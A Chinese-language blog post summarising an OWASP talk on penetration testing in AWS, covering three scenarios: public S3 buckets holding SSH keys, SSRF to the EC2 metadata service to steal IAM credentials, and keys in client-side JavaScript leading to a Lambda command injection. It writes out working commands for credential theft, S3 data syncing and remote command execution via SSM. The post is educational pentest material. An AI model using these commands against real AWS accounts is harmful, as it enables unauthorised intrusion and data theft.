詳細案例教會你如何在AWS中鏈接漏洞getshell和訪問數據
來自關于在AWS EC2實例中使用錯誤配置、公開允許的IAM策略和應用程序安全漏洞getshell并超越攻擊面的演講幻燈片 —來自2019年8月舊金山灣區的OWASP會上演講。
請注意：AWS發布了針對本博客文章中提到的攻擊的額外安全防御措施。雖然這里描述的方法將用于實例元數據服務(Instance metadata Data Service, IMDSv1)的遺留版本，但它們將被IMDSv2所阻礙。請閱讀我們關于如何利用AWS EC2 IMDSv2并為您的EC2機器添加額外防御的博文。
概要
該演講主要涵蓋了三個場景，它們是使用滲透測試練習的真實環境案例來搭建的，即可用于練習shell訪問和訪問EC2實例之外的數據的環境。
案例 1：系統 shell 的存儲桶配置錯誤
案例 2：SSRF 通過 IAM 策略到 Shell
案例 3：客戶端密鑰、IAM 策略和易受攻擊的 Lambda
接下來一起進入正題吧！
系統 shell 的存儲桶配置錯誤
案例一
這個場景涵蓋了一個案例，我們能夠使用 DNS 信息（我們在滲透測試練習中積極尋找的信息）來識別一個組織的 S3 存儲桶的命名規律。我們使用此信息來發現其他存儲桶，其中一個包含多個 SSH 密鑰。
我們首先查看目標應用程序——http://www.galaxybutter。
首先我們查詢了域名服務器galaxybutter.co，然后在發現的域名服務器中查詢了域的 CNAME 和 TXT 記錄。
dig NS galaxybutter.codig CNAME @ns-296.awsdns-37.com www.galaxybutter.codig TXT @ns-296.awsdns-37.com galaxybutter.co
對于在 TXT 記錄中發現的 IP 地址，我們掃描了端口來尋找暴露在 Internet上的/我們的 IP 地址的可見服務。
該 -g80 命令是將源端口設置為 TCP 端口 80，假設流量是對從防火墻后面發送的 Web 請求的響應的，理論上 nmap 是允許訪問得到無狀態防火墻后面的端口。
我們保存了結果以便稍后查看。
下一步是確定是否有任何其他存儲桶遵循與 CNAME 相同的命名約定，www.galaxybutter.co。我們根據命名規律創建了一個自定義字典，并使用 DigiNinja 的bucket_finder工具針對 AWS 運行該字典。
在一個公開的存儲桶中，我們發現了一個zip 文件名為 sales-marketing-app.zip，其中包含多個 SSH 私鑰。
我們嘗試使用常見的 AWS linux 用戶名（ubuntu、ec2-user、root 等）登錄迄今為止發現的多個 IP 地址，并發現能夠成功登錄其中一臺服務器。
ssh -i sales-marketing-app.pem ubuntu@54.211.12.132
SSH 連接到服務器后，我們瀏覽了文件系統，并在配置文件中找到了 RDS 數據庫服務器的其他機密。
我們無法從 Internet 訪問該數據庫，但可以從 EC2 實例訪問該數據庫。所以我們連接到它并從內部下載表的前 5 行，得到了用戶名和密碼哈希值！
很顯然，讓我們能夠從配置較弱的 S3 存儲桶訪問 AWS RDS，其命名規律是使用 DNS 枚舉獲得的。
SSRF 通過 IAM 策略到 Shell
案例二
我們首先發現了一個帶有登錄頁面并提供用戶注冊功能的應用程序。登錄后，應用程序允許用戶輸入 URL，然后服務器將代表用戶發出 Web 請求。這是一個經典的 SSRF！
利用 SSRF，我們先查詢服務元數據http://169.254.169.254 并獲取有關實例的信息。
我們可以使用 URL 訪問附加到 EC2 實例的角色的臨時令牌
http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2serverhealthrole
我們使用以下命令將憑據添加到本地 AWS CLI
aws configure --profile stolencreds
由于這些是臨時標記，因此還需要將一個名為aws_session_token的變量添加到~/.aws/credentials文件中。此變量也可以添加為 AWS CLI 的環境變量以使用新憑據。
想要快速檢查憑據是否被正確設置，可以使用以下命令，該命令就像Linux/Windows 的whoami命令
aws sts get-caller-identity --profile stolencreds
然后使用新添加的憑據枚舉 S3 存儲桶并使用以下命令從其中下載數據
aws s3 ls --profile stolencreds aws s3 ls s3://data.serverhealth-corporation --profile stolencreds aws s3 sync s3://data.serverhealth-corporation --profile stolencreds
由于憑證賦予特權，我們隨后使用AWS SSM服務在環境中一個正在運行的EC2實例上獲得了命令執行功能我們列舉了使用該命令運行AWS SSM服務的實例
aws ssm describe-instance-information —profile stolencreds
然后使用上面instanceid的describe-instance-information命令，我們運行send-commandandlist-command-invocations來ifconfig分別執行和讀取輸出。
aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command. CommandId" --profile stolencreds
aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds
很顯然，一個容易受到服務器端請求偽造攻擊的應用程序允許訪問附加到 EC2 實例的 IAM 角色的臨時憑證。該角色擁有較高的權限，使我們能夠訪問目標組織的整個 AWS 賬戶，并使用 AWS SSM 服務訪問 EC2 實例。
客戶端密鑰、IAM 策略和易受攻擊的 Lambda
案例三
允許用戶將文件上傳到 S3 存儲桶的 Web 應用程序在客戶端 JavaScript 中使用特權 IAM 密鑰。可以使用這些來查詢 AWS 內部的各種服務。我們在 AWS 賬戶中發現了多個 Lambda 函數。下載并分析其中一個 Lambda 函數導致發現了一個代碼注入漏洞，該漏洞使我們能夠訪問 Lambda 運行時環境。
我們還列舉了在此環境中運行的 EC2 實例，并使用AWS提供的新的EC2 Instance connect for SSH 訪問功能訪問其中一個實例。
我們首先查看了客戶端的 Web 應用程序，并找到了上傳文件的功能點。
該站點本身是靜態的（托管在 S3 上），但它正在執行動態操作（上傳到 S3）。我們發現了 JavaScript，因為它是這里唯一的動態組件，并在客戶端 JS 中發現了 AWS 密鑰。
我們將這些密鑰添加到我們的 AWS CLI 并運行來自 NCC Group的Scoutsuite工具。該工具在 Github 上可用 — https://github.com/nccgroup/ScoutSuite
scout --profile uploadcreds
下圖返回了 AWS 環境的完整圖片。我們發現該賬戶有多個 Lambda 函數運行，AWS API Gateway 添加為觸發器。此類端點好像接受 用戶輸入 并 返回作為用戶輸入傳遞的字符串MD5 的 總和。
我們使用以下命令下載了 Lambda 函數的代碼
aws lambda list-functions — profile uploadcreds aws lambda get-function --function-name lambda-name-here-from-previous-query --query 'Code.Location' --profile uploadcreds wget -O lambda-function.zip url-from-previous-query --profile uploadcreds
下載的 zip 包含 Lambda 函數的代碼。
經審計，發現代碼存在命令注入漏洞
最后，為了在其中一個實例上獲得一個 shell以顯示影響，我們使用了 AWS EC2 的一項相對較新的功能，稱為:EC2 instance-connect short SSH access(EC2 實例連接短期 SSH 訪問)
結尾
演講的一些總結也與大家分享
- 正如我們開始所說那樣，現在很明顯，最常見的問題是服務的錯誤配置、不安全的編程和不應該授予的權限
- 偵察和 OSINT 是許多云服務和應用程序的關鍵
- 在攻擊應用程序和服務器時，識別關鍵 DNS、whois、IP 歷史記錄和子域信息非常重要
- 后期利用對云沒有限制。您可以攻擊其他服務、中斷日志記錄、更改代碼以攻擊用戶——范圍取決于您的想象力（以及與您的客戶的協議）
- 安全人員在 GitHub 上編寫了大量工具，并且在攻擊和利用領域正在大量使用
- 學習攻擊的關鍵是設置>突破>學習>重復
